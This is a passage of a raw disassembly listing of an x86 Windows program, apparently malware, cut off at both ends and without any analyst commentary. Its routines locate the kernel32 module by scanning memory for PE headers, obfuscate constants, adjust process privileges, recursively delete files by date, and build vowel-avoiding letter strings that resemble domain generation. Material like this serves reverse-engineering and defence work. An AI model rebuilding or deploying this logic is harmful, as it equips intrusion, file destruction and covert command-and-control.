[ebp+arg_4] mov cx, [ecx+esi*2] mov [ebp+edx+var_80], cx inc esi loc_43F344: ; CODE XREF: sub_43F2CB+66j mov eax, dword_5511E4 add eax, 14h add eax, dword_5511B0 cmp esi, eax jb short loc_43F333 movsx eax, word_551210 sub eax, 3 mov [ebp+var_84], eax loc_43F366: ; CODE XREF: sub_43F2CB+141j ; sub_43F2CB+159j push [ebp+var_84] push [ebp+arg_0] call sub_4472C9 add esp, 8 mov [ebp+var_8C], eax mov eax, dword_551114 dec eax cmp [ebp+var_8C], eax jnz short loc_43F3C6 lea eax, [ebp+var_80] push eax lea eax, [ebp+var_40] push eax call sub_4466C9 mov [ebp+var_90], eax push [ebp+var_88] lea eax, [ebp+var_40] push eax call sub_43A929 add esp, 10h or eax, eax jz short loc_43F3C6 push [ebp+var_88] lea eax, [ebp+var_40] push eax call sub_447831 add esp, 8 loc_43F3C6: ; CODE XREF: sub_43F2CB+BEj ; sub_43F2CB+E7j inc [ebp+var_84] mov eax, dword_551118 add eax, 17h movsx edx, word_551094 add edx, 0Dh imul eax, edx cmp [ebp+var_84], eax jnb short loc_43F429 lea eax, [ebp+var_80] push eax call sub_441A2E mov [ebp+var_90], eax push [ebp+var_88] lea eax, [ebp+var_80] push eax call sub_43A929 add esp, 0Ch or eax, eax jz loc_43F366 push [ebp+var_88] lea eax, [ebp+var_80] push eax call sub_447831 add esp, 8 jmp loc_43F366 ; --------------------------------------------------------------------------- loc_43F429: ; CODE XREF: sub_43F2CB+11Cj movsx edi, word_551240 dec edi jmp short loc_43F444 ; --------------------------------------------------------------------------- loc_43F433: ; CODE XREF: sub_43F2CB+18Cj mov edx, edi shl edx, 1 mov ecx, [ebp+arg_0] mov dx, [ebp+edx+var_40] mov [ecx+edi*2], dx inc edi loc_43F444: ; CODE XREF: sub_43F2CB+166j mov eax, dword_55124C add eax, 13h movsx edx, word_551254 add eax, edx cmp edi, eax jb short loc_43F433 pop edi pop esi pop ebx leave retn sub_43F2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F45E proc near ; CODE XREF: sub_443F7C+B3p ; sub_443F7C+EFp ... var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ebx push edi movzx eax, [ebp+arg_0] mov ecx, 0Ah mov edx, 0CCCCCCCDh mul edx shr edx, 3 mov [ebp+var_4], edx mov edi, edx add edi, 61h mov ebx, edi mov [ebp+arg_0], bl mov al, [ebp+arg_0] cmp al, 69h jz short loc_43F4A3 cmp al, 65h jz short loc_43F4A3 cmp al, 75h jz short loc_43F4A3 cmp al, 79h jz short loc_43F4A3 cmp al, 61h jz short loc_43F4A3 cmp al, 6Fh jz short loc_43F4A3 cmp al, 6Ah jnz short loc_43F4A7 loc_43F4A3: ; CODE XREF: sub_43F45E+2Bj ; sub_43F45E+2Fj ... add [ebp+arg_0], 1 loc_43F4A7: ; CODE XREF: sub_43F45E+43j movzx eax, [ebp+arg_0] pop edi pop ebx leave retn sub_43F45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F4AF proc near ; CODE XREF: sub_43B841+10p ; sub_43B841+25p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_551280 call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_43F4AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F4C7 proc near ; CODE XREF: start+1p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12B = byte ptr -12Bh var_128 = byte ptr -128h var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi push edi lea eax, sub_43E491 mov [ebp+var_14], eax lea edx, sub_43E491 mov ecx, dword_551204 add ecx, 0Dh mov eax, edx shr eax, cl mov edx, dword_55117C add edx, 0Ah movsx ecx, word_551240 add edx, ecx mov ecx, edx mov ebx, eax shl ebx, cl loc_43F507: ; CODE XREF: sub_43F4C7+5Ej ; sub_43F4C7+97j ... mov [ebp+var_18], ebx mov eax, ebx cmp word ptr [eax], 5A4Dh jz short loc_43F527 mov eax, dword_5510D4 add eax, 0FFF1h add eax, dword_55126C sub ebx, eax jmp short loc_43F507 ; --------------------------------------------------------------------------- loc_43F527: ; CODE XREF: sub_43F4C7+4Aj mov eax, dword_551114 add eax, 35h add eax, dword_551230 mov esi, eax add esi, ebx mov eax, [esi] add eax, ebx mov [ebp+var_10], eax mov ecx, [ebp+var_14] cmp eax, ecx jbe short loc_43F560 movsx eax, word_55115C movsx edx, word_551224 lea eax, [eax+edx+0FFFBh] sub ebx, eax jmp short loc_43F507 ; --------------------------------------------------------------------------- loc_43F560: ; CODE XREF: sub_43F4C7+7Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax movzx eax, word ptr [eax] cmp eax, 4550h jz short loc_43F57E mov eax, dword_5511B4 add eax, 0FFFFh sub ebx, eax jmp short loc_43F507 ; --------------------------------------------------------------------------- loc_43F57E: ; CODE XREF: sub_43F4C7+A7j mov eax, [ebp+var_8] mov eax, [eax+80h] mov [ebp+var_C], eax mov eax, dword_55113C add eax, dword_551128 sub eax, 10h mov [ebp+var_4], eax jmp loc_43F716 ; --------------------------------------------------------------------------- loc_43F5A0: ; CODE XREF: sub_43F4C7+25Bj mov eax, [ebp+var_4] add eax, ebx add eax, [ebp+var_C] mov [ebp+var_130], eax movsx eax, word_55112C sub eax, 5 mov edx, [ebp+var_130] cmp eax, [edx] jz loc_43F728 mov eax, [ebp+var_130] mov eax, [eax+0Ch] add eax, ebx mov [ebp+var_134], eax push eax lea eax, [ebp+var_12B] push eax call sub_44799C movsx eax, word_551170 movsx edx, word_551168 add eax, edx sub eax, 5 mov [ebp+var_28], eax jmp short loc_43F61E ; --------------------------------------------------------------------------- loc_43F5FC: ; CODE XREF: sub_43F4C7+16Dj mov eax, [ebp+var_28] mov al, [ebp+eax+var_12B] cmp al, 7Ah jge short loc_43F61B cmp al, 61h jle short loc_43F61B mov eax, [ebp+var_28] lea eax, [ebp+eax+var_12B] sub byte ptr [eax], 20h loc_43F61B: ; CODE XREF: sub_43F4C7+141j ; sub_43F4C7+145j inc [ebp+var_28] loc_43F61E: ; CODE XREF: sub_43F4C7+133j mov eax, [ebp+var_28] movsx eax, [ebp+eax+var_12B] mov edx, dword_551230 sub edx, 5 cmp eax, edx jnz short loc_43F5FC mov eax, dword_5511FC add eax, dword_5511F0 cmp byte ptr [ebp+eax+var_130+1], 4Ch jnz loc_43F712 mov eax, dword_5510B8 cmp byte ptr [ebp+eax+var_134+2], 45h jnz loc_43F712 mov edx, dword_5510DC cmp byte ptr [ebp+edx+var_130], 52h jnz loc_43F712 mov edx, dword_551204 cmp [ebp+edx+var_128], 33h jnz loc_43F712 mov edx, dword_5510FC cmp byte ptr [ebp+edx+var_130+3], 4Bh jnz short loc_43F712 add eax, dword_551230 cmp byte ptr [ebp+eax+var_134+3], 32h jnz short loc_43F712 mov eax, [ebp+var_130] mov edx, ebx add edx, [eax+10h] mov [ebp+var_13C], edx mov eax, dword_5510D4 sub eax, 7 mov [ebp+var_138], eax loc_43F6C9: ; CODE XREF: sub_43F4C7+247j mov eax, [ebp+var_138] mov esi, eax add esi, [ebp+var_13C] mov edi, [esi] movsx eax, word_5511AC movsx edx, word_5511C8 add eax, edx sub eax, 0Dh cmp eax, edi jz short loc_43F728 push edi call sub_444B66 pop ecx cmp dword_55127C, 0 jnz short loc_43F728 mov eax, dword_551148 sub eax, 3 add [ebp+var_138], eax jmp short loc_43F6C9 ; --------------------------------------------------------------------------- jmp short loc_43F728 ; --------------------------------------------------------------------------- loc_43F712: ; CODE XREF: sub_43F4C7+182j ; sub_43F4C7+195j ... add [ebp+var_4], 14h loc_43F716: ; CODE XREF: sub_43F4C7+D4j mov eax, [ebp+var_8] mov eax, [eax+84h] cmp [ebp+var_4], eax jb loc_43F5A0 loc_43F728: ; CODE XREF: sub_43F4C7+F9j ; sub_43F4C7+227j ... movsx eax, word_551140 sub eax, 5 cmp dword_55127C, eax jz short loc_43F79A call sub_44234E call sub_446E57 call sub_43FB57 mov edx, eax mov [ebp+var_19], dl movsx eax, word_551168 sub eax, 2 movzx edx, [ebp+var_19] cmp eax, edx jz short loc_43F79A lea eax, [ebp+var_20] push eax mov eax, dword_5510B4 add eax, dword_551160 sub eax, 9 push eax lea eax, [ebp+var_24] push eax push offset sub_43E491 mov eax, dword_5511F0 sub eax, 9 push eax mov eax, dword_551250 add eax, dword_5511B8 sub eax, 9 push eax call ds:dword_550020 loc_43F79A: ; CODE XREF: sub_43F4C7+271j ; sub_43F4C7+297j pop edi pop esi pop ebx leave retn sub_43F4C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F79F proc near ; CODE XREF: sub_441D71+59p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push ebx push esi push edi push [ebp+arg_0] call ds:dword_48C318 mov ebx, eax mov eax, dword_5510C4 movsx edx, word_5510D8 add eax, edx sub eax, 12h cmp ebx, eax jz loc_43F935 push offset byte_552133 call sub_43AC94 push eax push ebx call ds:dword_44B1AC mov ds:dword_449004, eax push offset word_55212E call sub_43AC94 add esp, 8 push eax push ebx call ds:dword_44B1AC mov ds:dword_448008, eax movsx eax, word_551254 sub eax, 8 cmp eax, ds:dword_449004 jz loc_43F935 movsx eax, word_551110 movsx edx, word_551168 add eax, edx sub eax, 5 cmp eax, ds:dword_448008 jz loc_43F935 push ds:dword_4CDA40 push ds:dword_449FCC push ds:dword_54EA5C push ds:dword_44B1AC push dword_55127C lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call ds:dword_449004 mov edi, eax movsx eax, word_551260 cmp eax, edi jnb short loc_43F876 push ebx call ds:dword_54FC1C jmp loc_43F935 ; --------------------------------------------------------------------------- loc_43F876: ; CODE XREF: sub_43F79F+C9j movsx eax, word_55115C mov esi, eax add esi, 0FFFFFFFCh mov edi, dword_55117C sub edi, 5 jmp short loc_43F8BA ; --------------------------------------------------------------------------- loc_43F88D: ; CODE XREF: sub_43F79F+121j mov edx, ds:dword_48C320[edi*4] cmp [ebp+var_8], edx jnz short loc_43F8B9 mov esi, edi mov edx, [ebp+var_4] cmp ds:dword_4CEA20[edi*4], edx jb short loc_43F8B9 push ebx call ds:dword_54FC1C push [ebp+arg_0] call ds:dword_44800C jmp short loc_43F935 ; --------------------------------------------------------------------------- loc_43F8B9: ; CODE XREF: sub_43F79F+F8j ; sub_43F79F+106j inc edi loc_43F8BA: ; CODE XREF: sub_43F79F+ECj cmp edi, dword_5512BC jb short loc_43F88D mov eax, dword_5510A4 add eax, 0FFFFFFEFh add eax, dword_551128 cmp esi, eax jz short loc_43F901 push ds:dword_50EA50[esi*4] call ds:dword_54FC1C mov edi, ds:dword_448008 mov ds:dword_44B9E0[esi*4], edi mov edi, [ebp+var_4] mov ds:dword_4CEA20[esi*4], edi mov ds:dword_50EA50[esi*4], ebx jmp short loc_43F935 ; --------------------------------------------------------------------------- loc_43F901: ; CODE XREF: sub_43F79F+133j mov edi, dword_5512BC mov edx, [ebp+var_4] mov ds:dword_4CEA20[edi*4], edx mov edx, [ebp+var_8] mov ds:dword_48C320[edi*4], edx mov ds:dword_50EA50[edi*4], ebx mov ebx, ds:dword_448008 mov ds:dword_44B9E0[edi*4], ebx inc dword_5512BC loc_43F935: ; CODE XREF: sub_43F79F+26j ; sub_43F79F+6Dj ... pop edi pop esi pop ebx leave retn sub_43F79F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F93A proc near ; CODE XREF: sub_44234E+Bp ; sub_44234E+20p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_55127C call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_43F93A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F952 proc near ; CODE XREF: sub_4467C4+1BFp ; DATA XREF: sub_441AE5+126o var_104 = byte ptr -104h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 104h push esi push edi movsx eax, word_551094 sub eax, 3 push eax push dword_5511A0 push 3 push dword_551164 mov eax, dword_551158 add eax, dword_551190 sub eax, 7 push eax push 80000000h push offset dword_4CC330 call ds:dword_54FC18 mov edi, eax mov eax, dword_5511F8 add eax, 0FFFFFFF4h add eax, dword_551150 cmp eax, edi jnz short loc_43F9B0 mov eax, 2Ah jmp short loc_43FA0F ; --------------------------------------------------------------------------- loc_43F9B0: ; CODE XREF: sub_43F952+55j mov eax, dword_551174 dec eax push eax lea eax, [ebp+var_104] push eax push 0FFh lea eax, [ebp+var_FF] push eax push edi call ds:dword_448034 mov esi, eax push edi call ds:dword_4CDA48 mov eax, dword_55117C sub eax, 5 cmp esi, eax jnz short loc_43F9ED mov eax, 2Ah jmp short loc_43FA0F ; --------------------------------------------------------------------------- loc_43F9ED: ; CODE XREF: sub_43F952+92j movzx eax, [ebp+var_FF] mov edx, dword_551098 add edx, 1Fh cmp eax, edx jge short loc_43FA08 mov eax, 2Ah jmp short loc_43FA0F ; --------------------------------------------------------------------------- loc_43FA08: ; CODE XREF: sub_43F952+ADj movzx eax, [ebp+var_FF] loc_43FA0F: ; CODE XREF: sub_43F952+5Cj ; sub_43F952+99j ... pop edi pop esi leave retn sub_43F952 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FA13 proc near ; DATA XREF: .data:0055131Co var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax mov eax, dword_5510E0 add eax, 0C2h movsx edx, word_5511BC add eax, edx cmp [ebp+arg_4], eax jnz loc_43FB4B mov [ebp+var_18], 3 lea eax, [ebp+var_10] push eax mov eax, dword_551300 push eax mov edi, [eax] call dword ptr [edi+1Ch] mov [ebp+var_4], eax mov eax, dword_5510C4 add eax, dword_55119C sub eax, 10h cmp [ebp+var_4], eax jnz loc_43FB47 dec [ebp+var_10] lea eax, [ebp+var_1C] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, dword_551300 push edi mov edi, [edi] call dword ptr [edi+20h] mov [ebp+var_4], eax mov eax, dword_55125C sub eax, 5 cmp eax, [ebp+var_4] jnz loc_43FB47 lea eax, [ebp+var_20] push eax push offset dword_552AA4 mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax movsx eax, word_5510AC add eax, dword_5511B0 sub eax, 0Eh cmp [ebp+var_4], eax jnz short loc_43FB3E lea eax, off_5512FC mov [ebp+var_8], eax push eax mov ebx, [eax] call dword ptr [ebx+4] lea eax, [ebp+var_24] push eax push offset dword_5529F4 mov eax, [ebp+var_8] push eax mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax movsx eax, word_5511AC sub eax, 6 cmp [ebp+var_4], eax jnz short loc_43FB2C lea eax, [ebp+var_2C] push eax push offset dword_5529F4 push [ebp+var_24] push [ebp+var_20] call sub_43C468 add esp, 10h mov [ebp+var_28], eax mov eax, [ebp+var_24] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43FB2C: ; CODE XREF: sub_43FA13+F4j mov eax, [ebp+var_8] push eax mov ebx, [eax] call dword ptr [ebx+8] mov eax, [ebp+var_20] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43FB3E: ; CODE XREF: sub_43FA13+BDj mov eax, [ebp+var_1C] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43FB47: ; CODE XREF: sub_43FA13+55j ; sub_43FA13+8Bj xor eax, eax jmp short loc_43FB50 ; --------------------------------------------------------------------------- loc_43FB4B: ; CODE XREF: sub_43FA13+26j mov eax, 80020003h loc_43FB50: ; CODE XREF: sub_43FA13+136j pop edi pop esi pop ebx leave retn 24h sub_43FA13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FB57 proc near ; CODE XREF: sub_43E491:loc_43E4E0p ; sub_43F4C7+27Dp var_108 = dword ptr -108h var_104 = dword ptr -104h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 108h push esi push edi mov eax, dword_5511DC mov edi, eax add edi, dword_55113C sub edi, 9 jmp short loc_43FBE5 ; --------------------------------------------------------------------------- loc_43FB74: ; CODE XREF: sub_43FB57+A1j push offset word_552122 call sub_43AC94 mov [ebp+var_108], eax push offset dword_552118 call sub_43AC94 push edi push eax mov esi, [ebp+var_108] push esi lea esi, [ebp+var_FF] push esi call ds:dword_50EA28 add esp, 18h lea eax, [ebp+var_FF] push eax push 0 push 100000h call ds:dword_4CDA38 mov [ebp+var_104], eax or eax, eax jz short loc_43FBE4 push eax call ds:dword_4CDA48 mov eax, dword_551258 add eax, 8 cmp eax, edi jnz short loc_43FBDD xor eax, eax inc eax jmp short loc_43FC00 ; --------------------------------------------------------------------------- loc_43FBDD: ; CODE XREF: sub_43FB57+7Fj mov eax, 2 jmp short loc_43FC00 ; --------------------------------------------------------------------------- loc_43FBE4: ; CODE XREF: sub_43FB57+6Cj inc edi loc_43FBE5: ; CODE XREF: sub_43FB57+1Bj movsx eax, word_5511C8 mov edx, dword_5510B4 lea eax, [eax+edx+59h] cmp edi, eax jb loc_43FB74 xor eax, eax loc_43FC00: ; CODE XREF: sub_43FB57+84j ; sub_43FB57+8Bj pop edi pop esi leave retn sub_43FB57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FC04 proc near ; CODE XREF: sub_443F03+2p ; sub_443F03+9p var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push edi lea eax, [ebp+var_104] push eax mov eax, dword_5510F4 sub eax, 2 push eax movsx eax, word_5511C8 movsx edx, word_551194 add eax, edx sub eax, 0Eh push eax push [ebp+arg_0] push dword_5511A0 call ds:dword_48BA00 mov edi, eax mov eax, dword_551184 add eax, dword_551154 sub eax, 0Fh cmp eax, edi jnz short loc_43FC80 push offset byte_552113 call sub_43AC94 push eax lea edi, [ebp+var_104] push edi call ds:dword_44802C push 1 push 43h lea eax, [ebp+var_104] push eax call sub_44757D add esp, 18h loc_43FC80: ; CODE XREF: sub_43FC04+4Fj pop edi leave retn sub_43FC04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FC83 proc near ; CODE XREF: sub_43B045+202p ; sub_43B045+263p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esi, [ebp+arg_C] mov eax, [ebp+arg_10] add eax, edi add eax, [ebp+arg_18] mov [ebp+var_4], eax mov edx, ebx and edx, esi mov ecx, [ebp+arg_8] mov eax, esi not eax and ecx, eax mov eax, edx or eax, ecx mov edx, [ebp+var_4] mov edi, edx add edi, eax push [ebp+arg_14] push edi call sub_4420F4 add esp, 8 mov edi, eax add edi, ebx mov eax, edi pop edi pop esi pop ebx leave retn sub_43FC83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FCCD proc near ; CODE XREF: sub_43E491+35Ep var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 44h push ebx push esi push edi call sub_43BC51 mov ebx, dword_551174 add ebx, dword_5511C0 dec ebx cmp eax, ebx jnz short loc_43FD03 movsx eax, word_551194 mov edi, eax add edi, dword_5511E0 sub edi, 0Fh jmp loc_43FF23 ; --------------------------------------------------------------------------- loc_43FD03: ; CODE XREF: sub_43FCCD+1Dj call ds:dword_48B9F4 mov [ebp+var_40], eax push eax movsx eax, word_5510E4 add eax, dword_551118 sub eax, 9 push eax push 1F0FFFh call ds:dword_55002C mov esi, eax lea eax, [ebp+var_4] push eax push 28h push esi call ds:dword_44B080 mov edi, eax movsx eax, word_5510D8 add eax, dword_55119C sub eax, 10h cmp edi, eax jz loc_43FF23 mov ebx, dword_5511DC mov edx, dword_551184 sub edx, 8 mov [ebp+ebx*4+var_60], edx lea eax, [ebp+var_44] push eax push 28h lea eax, [ebp+var_3C] push eax mov eax, dword_55117C add eax, 7 add eax, dword_55116C push eax push [ebp+var_4] call ds:dword_4CEA10 mov edi, eax mov eax, dword_551114 add eax, dword_5510D4 sub eax, 9 cmp [ebp+arg_0], eax jz short loc_43FDF7 mov eax, dword_5510F8 sub eax, 4 cmp edi, eax jnz short loc_43FDBD mov eax, dword_5510E8 mov edi, eax add edi, dword_5510D4 sub edi, 0Dh jmp loc_43FF23 ; --------------------------------------------------------------------------- loc_43FDBD: ; CODE XREF: sub_43FCCD+D9j mov edi, dword_55114C sub edi, 5 mov ebx, dword_5510F4 movsx edx, word_5511CC add ebx, edx movsx edx, word_55115C sub edx, 3 cmp [ebp+ebx*4+var_5C], edx jz loc_43FF23 mov edi, dword_551248 sub edi, 4 jmp loc_43FF23 ; --------------------------------------------------------------------------- loc_43FDF7: ; CODE XREF: sub_43FCCD+CDj mov eax, dword_55119C add eax, dword_551270 sub eax, 0Ch cmp dword_5512B4, eax jnz short loc_43FE25 mov eax, dword_5511F8 add eax, 3FF9h push eax push 40h call ds:dword_48B9EC mov dword_5512B4, eax loc_43FE25: ; CODE XREF: sub_43FCCD+13Ej lea eax, [ebp+var_44] push eax mov eax, dword_5511F4 add eax, 3FFBh push eax push dword_5512B4 push 1 push [ebp+var_4] call ds:dword_4CEA10 movsx eax, word_5510F0 sub eax, 3 cmp dword_5512B0, eax jnz short loc_43FE66 push 14h push 0 call ds:dword_48B9EC mov dword_5512B0, eax loc_43FE66: ; CODE XREF: sub_43FCCD+188j push 1 push dword_5512B0 call ds:dword_449008 mov edi, eax push 0 mov eax, dword_551258 dec eax push eax push 1 push dword_5512B0 call ds:dword_48C1E4 mov edi, eax push 0 mov eax, dword_5512B4 push dword ptr [eax] push dword_5512B0 call ds:dword_48B9E8 mov edi, eax push offset byte_5520F7 call sub_43AC94 pop ecx lea ebx, [ebp+var_10] push ebx push eax movsx ebx, word_55112C sub ebx, 5 push ebx call ds:dword_448020 mov edi, eax mov eax, dword_5510F4 add eax, dword_5510B8 sub eax, 9 mov [ebp+var_14], eax mov eax, dword_551250 sub eax, 2 cmp edi, eax jz short loc_43FF23 mov [ebp+var_8], 2 movsx eax, word_55112C sub eax, 5 push eax movsx eax, word_5510F0 movsx edx, word_551260 add eax, edx sub eax, 0Ch push eax push dword_5511C0 lea eax, [ebp+var_14] push eax push 0 push [ebp+var_4] call ds:dword_4CD91C mov edi, eax loc_43FF23: ; CODE XREF: sub_43FCCD+31j ; sub_43FCCD+7Fj ... push esi call ds:dword_4CDA48 push [ebp+var_4] call ds:dword_4CDA48 mov eax, edi pop edi pop esi pop ebx leave retn sub_43FCCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FF3A proc near ; CODE XREF: sub_43FF3A+1B5p ; sub_43FF3A+23Ap ... var_26C = dword ptr -26Ch var_268 = byte ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = word ptr -258h var_256 = word ptr -256h var_252 = word ptr -252h var_250 = word ptr -250h var_24E = word ptr -24Eh var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_11A = byte ptr -11Ah var_119 = byte ptr -119h var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_8 = byte ptr 10h arg_18 = byte ptr 20h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi xor ebx, ebx inc ebx push offset byte_5520EF call sub_43AC94 push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50EA28 add esp, 10h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CC328 mov [ebp+var_248], eax movsx eax, word_551140 mov edx, dword_5510E0 lea eax, [eax+edx-7] cmp [ebp+var_248], eax jnz loc_44009D lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_8] push eax call ds:dword_54FC10 mov [ebp+var_260], eax mov eax, dword_55116C sub eax, 9 cmp [ebp+var_260], eax jle short loc_43FFCF lea edi, [ebp+var_268] lea esi, [ebp+arg_18] movsd movsd jmp short loc_43FFDA ; --------------------------------------------------------------------------- loc_43FFCF: ; CODE XREF: sub_43FF3A+86j lea edi, [ebp+var_268] lea esi, [ebp+arg_8] movsd movsd loc_43FFDA: ; CODE XREF: sub_43FF3A+93j lea eax, [ebp+var_258] push eax lea eax, [ebp+var_268] push eax call ds:dword_54EB78 movzx eax, [ebp+var_252] mov edx, dword_551134 add edx, 591h movsx ecx, word_5510A0 add edx, ecx imul eax, edx movzx edx, [ebp+var_256] mov ecx, dword_5511F0 add ecx, 0A8B2h add ecx, dword_55117C imul edx, ecx add eax, edx movzx edx, [ebp+var_24E] add eax, edx movzx edx, [ebp+var_258] mov ecx, dword_5510DC add ecx, 7E8F9h imul edx, ecx add eax, edx movzx edx, [ebp+var_250] mov ecx, dword_551218 add ecx, 3Bh imul edx, ecx add eax, edx mov [ebp+var_25C], eax mov edx, ds:dword_448030 cmp eax, edx ja loc_440187 sub edx, eax mov eax, dword_5510E8 add eax, 10D9h cmp edx, eax jbe loc_440187 push [ebp+arg_0] call ds:dword_44800C mov [ebp+var_26C], eax jmp loc_440187 ; --------------------------------------------------------------------------- loc_44009D: ; CODE XREF: sub_43FF3A+5Ej mov eax, dword_55119C cmp [ebp+eax+var_119], 2Eh jz loc_44017F push offset word_5520E6 call sub_43AC94 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50EA28 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43FF3A add esp, 158h jmp loc_44017F ; --------------------------------------------------------------------------- loc_4400FF: ; CODE XREF: sub_43FF3A+247j lea eax, [ebp+var_13E] push eax push [ebp+var_248] call ds:dword_449FC8 mov ebx, eax mov eax, dword_551248 sub eax, 4 cmp eax, ebx jz short loc_440187 mov eax, dword_55124C add eax, dword_551200 cmp [ebp+eax+var_11A], 2Eh jz short loc_44017F push offset byte_5520DD call sub_43AC94 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50EA28 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43FF3A add esp, 158h loc_44017F: ; CODE XREF: sub_43FF3A+170j ; sub_43FF3A+1C0j ... or ebx, ebx jnz loc_4400FF loc_440187: ; CODE XREF: sub_43FF3A+135j ; sub_43FF3A+149j ... pop edi pop esi pop ebx leave retn sub_43FF3A endp ; =============== S U B R O U T I N E ======================================= sub_44018C proc near ; CODE XREF: sub_43E491+39p push edi push offset dword_5520D0 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_55128C, eax mov eax, dword_551138 movsx edx, word_551260 add eax, edx sub eax, 0Ch cmp dword_55128C, eax jnz short loc_4401D4 push offset byte_5520C3 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_55128C, eax loc_4401D4: ; CODE XREF: sub_44018C+2Fj push offset byte_5520AF call sub_43AC94 push eax push dword_55128C call ds:dword_44B1AC mov ds:dword_44B5D4, eax push offset byte_55209D call sub_43AC94 push eax push dword_55128C call ds:dword_44B1AC mov ds:dword_44B08C, eax push offset word_55208A call sub_43AC94 push eax push dword_55128C call ds:dword_44B1AC mov ds:dword_550158, eax push offset word_55207A call sub_43AC94 push eax push dword_55128C call ds:dword_44B1AC mov ds:dword_44B084, eax push offset byte_552069 call sub_43AC94 push eax push dword_55128C call ds:dword_44B1AC mov ds:dword_48C1EC, eax push offset asc_55205A ; "\v" call sub_43AC94 add esp, 18h push eax push dword_55128C call ds:dword_44B1AC mov ds:dword_50EA3C, eax pop edi retn sub_44018C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440281 proc near ; CODE XREF: sub_43EA2A+1C9p ; sub_43EA2A+238p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push edi lea eax, [ebp+var_4] push eax push 20019h movsx eax, word_5510B0 dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_44B59C mov edi, eax movsx eax, word_55115C sub eax, 3 cmp eax, edi jz short loc_4402B8 xor eax, eax jmp short loc_440303 ; --------------------------------------------------------------------------- loc_4402B8: ; CODE XREF: sub_440281+31j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] mov eax, dword_5511B0 add eax, 